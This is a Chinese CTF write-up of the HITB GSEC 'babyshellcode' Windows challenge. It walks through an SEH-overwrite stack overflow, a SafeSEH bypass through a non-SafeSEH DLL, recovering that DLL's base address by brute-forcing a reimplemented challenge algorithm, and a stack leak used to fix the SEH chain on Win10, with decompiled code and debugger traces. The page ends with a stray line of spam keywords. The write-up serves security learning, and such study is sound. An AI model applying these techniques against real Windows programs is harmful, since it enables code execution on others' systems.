<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    HITB GSEC CTF Win Pwn解題全記錄之babyshellcode

    一顆小胡椒2022-04-28 08:06:24

    前言

    這次在HITB GSEC CTF打醬油,也有了一次學習的機會,這次CTF出現了兩道Windows pwn,我個人感覺質量非常高,因為題目出了本身無腦洞的漏洞之外,更多的讓選手們專注于對Windows系統的防護機制(seh)原理的研究,再配合漏洞來完成對機制的突破和利用,在我做完之后重新整理整個解題過程,略微有一些窒息的感覺,感覺整個利用鏈環環相扣,十分精彩,不得不膜一下Atum大佬,題目出的真的好!對于菜鳥來說,是一次非常好的鍛煉機會。

    因此我認真總結了我們從拿到題目,多種嘗試,不斷改進exp,到最后獲得shell的整個過程,而不僅僅是針對題目,希望能對同樣奮斗在win pwn的小伙伴有一些幫助。

    Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10

    拿到題目的時候,我們發現程序存在一個很明顯的棧溢出,而且題目給的一些條件非常好,在棧結構中存在SEH鏈,在常規的利用SEH鏈進行棧溢出從而控制eip的過程中,我們會使用棧溢出覆蓋seh handler,這是一個seh chain中的一個指針,它指向了異常處理函數。

    但是程序中開啟了safeseh,也就是說,單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。

    OK,我們來看題目。

    在題目主函數中,首先在scmgr.dll中會初始化存放shellcode的堆,調用的是VirtualAlloc函數,并且會打印堆地址。

    v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意這里的flprotect是0x40
    dword_1000338C = (int)v0;
    if ( v0 )
    {
      sub_10001020("Global memory alloc at %pn", (char)v0);//打印堆地址
      result = dword_1000338C;
      dword_10003388 = dword_1000338C;
    }
    

    這里VirtualAlloc中有一個參數是flprotect,值是0x40,表示擁有RWE權限。

    #define PAGE_EXECUTE_READWRITE 0x40
    

    這個堆地址會用于存放shellcode,在CreateShellcode函數中會將shellcode拷貝到Memory空間里。

      v4 = 0;//v4在最開始拷貝的時候值是0
      ??
      v11 = (int)*(&Memory + v4);//將Memory地址指針交給v11
      v13 = getchar();
      v14 = 0;
      if ( v12 )
      {
        do
        {
          *(_BYTE *)(v14++ + v15) = v13;//為Memory賦值
          v13 = getchar();
        }
        while ( v14 != v12 );
        v4 = v16;
      }
    

    執行結束之后可以看到shellcode已經被拷貝到目標空間中。

    隨后執行runshellcode指令的時候,會調用“虛函數”,這里用引號表示,其實并不是真正的虛函數,只是虛函數的一種常見調用方法(做了CFG check,這里有個小插曲),實際上調用的是VirtualAlloc出來的堆的地址。

        v4 = *(void (**)(void))(v1 + 4);
        __guard_check_icall_fptr(*(_DWORD *)(v1 + 4));
        v4();
    

    可以看到這里有個CFG check,之前我們一直以為環境是Win7,在Win7里CFG沒有實裝,這個在我之前的一篇IE11瀏覽器漏洞的文章中也提到過(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此這個Check是沒用的,但是后來得知系統是Win10(這個后面會提到),這里會檢查指針是否合法,這里無論如何都會合法,因為v1+4位置的值控制不了,這里就是指向堆地址。

    這里跳轉到堆地址后會由于shellcode頭部4字節被修改,導致進入堆地址后是無效的匯編指令。

      byte_405448 = 1;
      puts("Hey, Welcome to shellcode test system!");
        if ( byte_405448 )
        {
          v3 = *(_DWORD **)(v1 + 4);
          memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//這里沒有對長度進行控制,造成棧溢出
          *v3 = -1;
        }
    

    byte_405448是一個全局變量is_guard,它在runshellcode里決定了存放shellcode堆指針指向的shellcode前4字節是否改成0xffffffff,這里byte_405448的值是1,因此頭部會被修改,而我們也必須進入這里,只有這里才能造成棧溢出。

    0:000> g
    Breakpoint 1 hit
    eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
    eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x13f3:
    00a113f3 c706ffffffff    mov     dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode頭部被修改前正常
    0:000> dd e0000 l1
    000e0000  61616161 
    0:000> p
    eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
    eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x13f9:
    00a113f9 8b7704          mov     esi,dword ptr [edi+4] ds:0023:0048e434=000e0000
    0:000> dd e0000 l1//頭部被修改成0xffffffff
    000e0000  ffffffff
    

    隨后我們跳轉到頭部執行,由于指令異常進入異常處理模塊。

    0:000> p
    eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
    eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x1404:
    00a11404 ffd6            call    esi {000e0000}//跳轉到堆
    0:000> t
    eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
    eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    000e0000 ff              ???//異常指令
    0:000> p//進入異常處理模塊
    (20f90.20f9c): Illegal instruction - code c000001d (first chance)
    eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
    eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    ntdll!KiUserExceptionDispatcher+0x1:
    770b6bc9 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c
    

    利用SEH是棧溢出里常見的一種利用方法,在沒有SafeSEH和SEHOP的情況下,可以利用seh里一個特殊的結構seh handler,通過覆蓋它來完成eip/rip的控制,它指向的是異常處理函數,而加入了safeseh之后,會對sehhandler進行check,檢查它是否可信,不可信的話返回0,則不會跳轉到seh handler。而這個safeseh的check在ntdll的RtlIsValidHandler函數中,幾年前Alex就發了關于這個函數的解讀,現在偽代碼遍地都是了。

    BOOL RtlIsValidHandler(handler)
    {
    if (handler is in an image)//step 1 
    {
             // 在加載模塊的進程空間
    if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
        return FALSE; // 該標志設置,忽略異常處理,直接返回FALSE
    if (image has a SafeSEH table) // 是否含有SEH表
        if (handler found in the table)
            return TRUE; // 異常處理handle在表中,返回TRUE
        else
            return FALSE; // 異常處理handle不在表中,返回FALSE
    if (image is a .NET assembly with the ILonly flag set)
        return FALSE; // .NET 返回FALSE
    // fall through
    }
    if (handler is on a non-executable page)//step 2
    {
             // handle在不可執行頁上面
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE; // DEP關閉,返回TRUE;否則拋出異常
        else
            raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
    }
    if (handler is not in an image)//step 3
    {
             // 在加載模塊內存之外,并且是可執行頁
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE; // 允許在加載模塊內存空間外執行,返回驗證成功
        else
            return FALSE; // don't allow handlers outside of images
    }
    // everything else is allowed
    return TRUE;
    }
    

    首先我們想到的是利用堆指針來bypass safeseh,正好這個堆地址指向的shellcode,但是由于頭部四字節唄修改成了0xffffffff,因此我們只需要覆蓋seh handler為heap address+4,然后把shellcode跳過開頭4字節編碼,頭4字節放任意字符串(反正會被編碼成0xffffffff),然后后面放shellcode的內容,應該就可以達到利用了(事實證明我too young too naive了,這個方法在win xp下可以用。)

    于是我們想到的棧布局如下:

    但我們這樣執行后,在windows xp下可以完成,但是win7下依然crash了,這就需要我們跟進ntdll!RtlIsValidHandler函數,回頭看下偽代碼部分。

    這里有三步check,首先step1,if是不通過的因為堆地址屬于加載進程外的地址,同理step2也是不通過的,因為堆地址申請的時候是可執行的,之所以用堆繞過SafeSEH是因為堆地址屬于當前進程加載內存映像空間之外的地址。

    0:000> !address e0000
    Usage:                  
    Allocation Base:        000e0000
    Base Address:           000e0000
    End Address:            000f4000
    Region Size:            00014000
    Type:                   00020000    MEM_PRIVATE
    State:                  00001000    MEM_COMMIT
    Protect:                00000040    PAGE_EXECUTE_READWRITE
    

    那么safeseh進入step 3,又是加載模塊內存之外的,又是可執行的,在winxp,通過堆繞過是可行的,但是在Win7及以上版本就不行了,為什么呢,因為這里多了一個Check,內容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它決定了是否允許在加載模塊內存空間外執行。

    這里只有當第六個比特為1時,才是可執行的

    這里值是0x4d,也就是1001101,第六個比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允許的,因此會return FALSE。

    0:000> p
    eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000
    eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0         nv up ei ng nz na pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
    ntdll!RtlIsValidHandler+0xff:
    77100224 8a450c          mov     al,byte ptr [ebp+0Ch]      ss:0023:002bf2bc=4d
    0:000> p
    eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
    eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!RtlIsValidHandler+0xfc:
    7708f88d c20800          ret     8
    0:000> p
    eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
    eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!RtlDispatchException+0x10e:
    7708f9fe 84c0            test    al,al
    0:000> r al
    al=0
    

    通過堆繞過的方法失敗了,我們又找到了其他方法,就是通過未開啟safeseh的dll的方法來繞過safeseh,這里我們找到了scmgr.dll,它是一個未開啟safeseh的模塊,這個可以直接通過od的OllySSEH功能看到SafeSEH的開啟狀態。

    這里我們只需要把seh handler指向scmgr.dll就可以了,而且我們在scmgr.dll里發現,其實system('cmd')已經在里面了,只需要跳轉過去就可以了。

    .text:10001100                 public getshell_test
    .text:10001100 getshell_test   proc near               ; DATA XREF: .rdata:off_10002518o
    .text:10001100                 push    offset Command  ; "cmd"
    .text:10001105                 call    ds:system
    .text:1000110B ; 3:   return 0;
    .text:1000110B                 add     esp, 4
    .text:1000110E                 xor     eax, eax
    .text:10001110                 retn
    .text:10001110 getshell_test   endp
    

    但是這里有一個問題,就是scmgr.dll的基址是多少,這里我們想了兩種方法來獲得基址,一個是爆破,因為我們發現scmgr.dll在每次進程重啟的時候基址都不變,因此我們只需要在0x60000000-0x8000000之間爆破就可以,0x8000000之上是內核空間的地址了,因此只需要爆破這個范圍即可。(由于剛開始以為是win7,所以爆破的時候有一點沒有考慮到,導致目標總是crash,我們也找不到原因,本地測試是完全沒問題的,后面會提到)。

    還有一種方法是我們看到了set shellcodeguard函數,這個就是我們之前提到對is_guard那個全局變量設置的函數,但實際上,這個也沒法把這個值置0,畢竟置0之后直接就能擼shellcode了,但我們關注到Disable Shellcode Guard中一個有趣的加密。

      puts("1. Disable ShellcodeGuard");
      puts("2. Enable ShellcodeGuard");
      ??
      if ( v2 == 1 )//加密在這里
      {
        v3 = ((int (*)(void))sub_4017F0)();
        v4 = sub_4017F0(v3);
        v5 = sub_4017F0(v4);
        v6 = sub_4017F0(v5);
        v7 = sub_4017F0(v6);
        v8 = sub_4017F0(v7);
        sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%xn", v8);
        puts("challenge response:");
        v9 = 0;
        v10 = getchar();
        do
        {
          if ( v10 == 10 )
            break;
          ++v9;
          v10 = getchar();
        }
        while ( v9 != 20 );
        puts("respose wrong!");
      }
      else//當v2為0的時候是Enable Shellcode Guard,全局變量置1
      {
        if ( v2 == 2 )
        {
          byte_405448 = 1;
          return 0;
        }
        puts("wrong option");
      }
    

    這個加密其實很復雜的。

    后來官方也給出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告訴大家這個加密算法不可逆,別想了!

    先我們來看一下這個加密算法加密的什么玩意,我們跟入這個算法。

    0:000> p
    eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0
    eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0         ov up ei pl nz na pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a07
    babyshellcode+0x1818:
    *** WARNING: Unable to verify checksum for C:Userssh1Desktopscmgr.dll
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Userssh1Desktopscmgr.dll - 
    00a11818 3334955054a100  xor     esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}
    

    發現在算法初始化的時候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,這個就厲害了,既然不可逆,我們把這個算法dump出來正向爆破去算,如果結果等于最后加密的結果,那就是碰到基址了,這樣一是不用頻繁和服務器交互,二是及時dll每次進程重啟基址都改變,也能直接通過這種方法不令進程崩潰也能獲得到基址。

    def gen_cha_code(base):
        init_scmgr = base*0x10000 +0x1090
        value = init_scmgr
        g_table = [value]
        for i in range(31):
            value = (value * 69069)&0xffffffff
            g_table.append(value)
        g_index = 0
        v0 = (g_index-1)&0x1f
        v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)
        v1 = g_table[v0]
        v3 = g_table[(g_index + 10) & 0x1F]
        v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
        v4 = v4&0xffffffff
        g_table[g_index] = v2^v4
        g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff
        g_index = (g_index - 1) & 0x1F
        return g_table[g_index]
    

    這樣,獲取到基址之后,我們就能夠構造seh handler了,直接令seh handler指向getshell_test就直接能獲得和目標的shell交互了。通過棧溢出覆蓋seh chain。

    0:000> !exchain
    0016fcf8: scmgr!getshell_test+0 (67bc1100)
    Invalid exception stack at 0d16fd74
    

    進入safeseh,由于在nosafeseh空間,返回true,該地址可信。

    0:000> p
    eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000
    eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    ntdll!RtlDispatchException+0x109:
    7708f9f9 e815feffff      call    ntdll!RtlIsValidHandler (7708f813)
    0:000> p
    eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000
    eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!RtlDispatchException+0x10e:
    7708f9fe 84c0            test    al,al
    0:000> r al
    al=1
    

    進入call seh handler,跳轉到getshell_test。

    0:000> p
    eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000
    eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!ExecuteHandler2+0x21:
    770b6d74 8b4d18          mov     ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}
    0:000> p
    eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
    eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!ExecuteHandler2+0x24:
    770b6d77 ffd1            call    ecx {scmgr!getshell_test (72b61100)}
    0:000> t
    eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
    eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    scmgr!getshell_test:
    72b61100 68f420b672      push    offset scmgr!getshell_test+0xff4 (72b620f4)
    

    到這里利用就完整了嗎?我們在win7下沒問題了,但是在目標卻一直crash掉,實在是搞不明白,后來才知道,我們用錯了環境!原來目標是Win10…

    Win10的SafeSEH和Win7又有所區別,這里要提到SEH的兩個域,一個是prev域和handler域,prev域會存放一個指向下一個seh chain的棧地址,handler域就是存放的seh handler,而Win10里面多了一個Check函數ntdll!RtlpIsValidExceptionChain,這個函數會去獲得當前seh chain的prev域的值。

    0:000> p//這里我們覆蓋prev為0x61616161
    eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000
    eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    ntdll!RtlpIsValidExceptionChain+0x2b:
    7771ea79 8b31            mov     esi,dword ptr [ecx]  ds:002b:030ff7ac=61616161
    0:000> p
    eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
    eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    ntdll!RtlpIsValidExceptionChain+0x2d:
    7771ea7b 83feff          cmp     esi,0FFFFFFFFh
    0:000> p
    eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
    eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
    ntdll!RtlpIsValidExceptionChain+0x30:
    7771ea7e 740f            je      ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]
    

    隨后,會去和seh表里存放的prev域的值進行比較。

    0:000> p
    eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000
    eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
    ntdll!RtlpIsValidExceptionChain+0x3c:
    7771ea8a 8d53f8          lea     edx,[ebx-8]
    0:000> p
    eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
    eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
    ntdll!RtlpIsValidExceptionChain+0x3f:
    7771ea8d ebd6            jmp     ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65)
    0:000> p
    eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
    eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
    ntdll!RtlpIsValidExceptionChain+0x17:
    7771ea65 3bc1            cmp     eax,ecx//ecx寄存器存放的是棧里被覆蓋的,eax存放的是正常的pointer to next chain
    

    可以看到這里檢測是不通過的,因此造成了crash,所以,我們需要對seh chain進行fix,把pointer to next chain修改成下一個seh chain的棧地址,這就需要我們獲取當前的棧地址,棧地址是自動動態申請和回收的,和堆不一樣,因此每次棧地址都會發生變化,我們需要一個stack info leak。

    于是我們在程序中找到了這樣一個stack info leak的漏洞,開頭有個stack info leak,在最開始的位置。

      v1 = getchar();
      do
      {
        if ( v1 == 10 )
          break;
        *((_BYTE *)&v5 + v0++) = v1;
        v1 = getchar();
      }
      while ( v0 != 300 );
      sub_4017C0("hello %sn", &v5);
    0:000> g//一字節一字節寫入,esi是計數器,ebp-18h是指向拷貝目標的指針
    Breakpoint 0 hit
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
    eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x16a4:
    000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f920=00
    0:000> p
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
    eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x16a8:
    000a16a8 46              inc     esi
    0:000> p//獲取下一字節
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8
    eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    babyshellcode+0x16a9:
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Userssh1Desktopucrtbase.DLL - 
    000a16a9 ff15e4300a00    call    dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}
    0:000> p//判斷長度
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
    eip=000a16af esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    babyshellcode+0x16af:
    000a16af 81fe2c010000    cmp     esi,12Ch
    0:000> p
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
    eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
    babyshellcode+0x16b5:
    000a16b5 75e9            jne     babyshellcode+0x16a0 (000a16a0)         [br=1]
    0:000> p//判斷是否是回車
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
    eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
    babyshellcode+0x16a0:
    000a16a0 3c0a            cmp     al,0Ah
    0:000> p
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
    eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x16a2:
    000a16a2 7413            je      babyshellcode+0x16b7 (000a16b7)         [br=0]
    0:000> p//繼續寫入
    Breakpoint 0 hit
    eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
    eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    babyshellcode+0x16a4:
    000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f921=00
    

    這里判斷的長度是0x12C,也就是300,但實際上拷貝目標ebp-18很短,而esi會不斷增加,而沒有做控制,最關鍵的是這個過程。

    .text:004016A4 ; 20:     *((_BYTE *)&v5 + v0++) = v1;
    .text:004016A4                 mov     byte ptr [ebp+esi+var_18], al
    .text:004016A8 ; 21:     v1 = getchar();
    .text:004016A8                 inc     esi//key!!
    .text:004016A9                 call    ds:getchar
    .text:004016AF ; 23:   while ( v0 != 300 );
    .text:004016AF                 cmp     esi, 12Ch
    

    這里是在賦值結束之后,才將esi自加1,然后才去做長度判斷,然后再跳轉去做是否回車的判斷,如果回車則退出,也就是說,這里會多造成4字節的內存泄漏,我們來看一下賦值過程中的內存情況。

    0:000> dd ebp-18 l7
    0036f920  00000061 00000000 00000000 00000000
    0036f930  00000000 1ea6b8ab 0036f980
    

    可以看到,在0036f920地址偏移+0x18的位置存放著一個棧地址,也就是說,如果我們讓name的長度覆蓋到0036f938位置的時候,多泄露的4字節是一個棧地址,這樣我們就可以用來fix seh stack了。


    有了這個內存泄漏,我們就可以重新構造棧布局了,棧布局如下:

    這樣,結合之前我們的整個利用過程,完成整個利用鏈,最后完成shell交互。


    ctfnv
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 前言在2021年10月15日的“中國能源網絡安全大賽”,筆者對WEB題目進行了嘗試,幸運的做出了所有題目。0x02 ezphp這是一道很簡單的題目,同時也被大家刷成了簽到題。
    前言隨著射頻識別技術的發展,射頻卡被廣泛應用在了門禁控制、金融支付、庫存管理等場景。在此背景下,各種安全認證機制應運而生,為保護個人隱私和敏感數據提供了可靠的保障,本文將通過一道 CTF 題目介紹 M1 卡采用的 AES認證機制,揭示其背后的原理。
    單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。
    CVE-2022-0185是Linux內核"File System Context"中的一個堆溢出漏洞,可引起容器逃逸和權限提升,本文將對該漏洞進行分析,并給出檢測、緩解、修復建議和總結思考。
    OpenAI、Google、Antrhopic、Hugging Face、Microsoft、Nvidia和Stability AI等頂級AI廠商將在DEF CON 31上齊聚一堂,開展對其生成式AI系統的公開評測。
    新的一年已經到來,這意味著一場行業的狂熱活動再次在我們面前——實用網絡安全Positive Hack Days國際論壇,自2011年以來每年舉辦一次。這一次,活動將于 5 月 18 日至 19 日在已經很傳統的場地——莫斯科世界貿易中心舉行。對于那些不能親自參加 PHDays 的人,將提供所有演講的在線廣播。
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    Github滲透測試文檔資料集合
    CTF-web--命令注入
    2023-03-31 09:51:35
    大佬總結的文章,本篇文章閱讀時間大約30分鐘。一 、基本原理 命令注入指的是,利用沒有驗證過的惡意命令或代碼,對網站或服務器進行滲透攻擊。注入有很多種,并不僅僅只有SQL注入。Injection)客戶端腳本攻擊(Script?injection)動態函數注入攻擊(Dynamic?Evaluation)序列化注入&對象注入。這種題目又哪些常見的,一個是我們常用的文件包含,我們是可以使用system等函數的,或者是php函數,應該也屬于命令注入的范疇。類似于 ?
    CTF反序列化入門
    2022-07-11 16:27:22
    這兩個過程結合起來,可以輕松地存儲和傳輸數據。就是將對象的狀態信息寫成一串字符,以便傳輸和保存。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类